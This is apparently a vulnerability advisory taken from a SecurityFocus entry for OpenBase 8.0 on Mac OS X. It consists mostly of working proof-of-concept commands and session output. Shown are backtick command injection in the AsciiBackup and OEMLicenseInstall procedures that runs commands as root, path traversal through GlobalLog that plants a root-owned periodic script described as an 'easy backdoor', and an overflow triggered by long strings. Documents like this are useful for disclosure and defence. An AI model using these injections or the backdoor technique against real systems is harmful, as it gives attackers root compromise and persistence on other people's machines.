51 lines
No EOL
1.7 KiB
Text
51 lines
No EOL
1.7 KiB
Text
source: https://www.securityfocus.com/bid/26347/info
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OpenBase is prone to a buffer-overflow vulnerability and multiple remote command-execution vulnerabilities.
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An attacker could exploit these issues to execute arbitrary code or commands with superuser privileges. Successfully exploiting these issues will facilitate in the complete compromise of affected computers.
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1. call AsciiBackup('\`id\`')
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results in commands being run as root.
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desktop:/tmp kfinisterre$ tail -f /tmp/isql_messages
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OpenBase ISQL version 8.0 for MacOS X
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Copyright (c) 1993-2003 OpenBase International. Ltd.
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All Rights Reserved.
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Using database 'WOMovies' on host 'localhost'
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Could not write file:uid=0(root) gid=0(wheel) groups=0(wheel)/WOMovies.bck
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2. call GlobalLog("../../../path/to/file", "\n user input goes here \n")
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results in root owned files being created. Combine with above for an
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easy backdoor.
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openbase 1> call GlobalLog("../../../../../../etc/periodic/daily/600"
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, "\n/usr/bin/id > /tmp/file\n")
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openbase 2> go
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Data returned... calculating column widths
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return_0
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- ----------
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Success
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- ----------
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1 rows returned - 0.039 seconds (printed in 0.039 seconds)
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openbase 1> call AsciiBackup('`chmod +x /etc/periodic/daily/600.msg;
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/usr/sbin/periodic daily`')
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openbase 2> go
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Data returned... calculating column widths
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return_0
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- ----------
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Failure
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- ----------
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1 rows returned - 1.825 seconds (printed in 1.826 seconds)
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openbase 1>
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3. select aaaaaaaaaaaaaaaaaaaa... from aaaaaaaaaaaaaaaaaaa...
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results in zone_free() issues referencing 0x61616161
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4. call OEMLicenseInstall("`/usr/bin/id>/tmp/aaax`","`/usr/bin/id>/tmp/bbbx
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`","`/usr/bin/id>/tmp/ddddx`","`/usr/bin/id>/tmp/cdfx`")
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results in commands being run as root |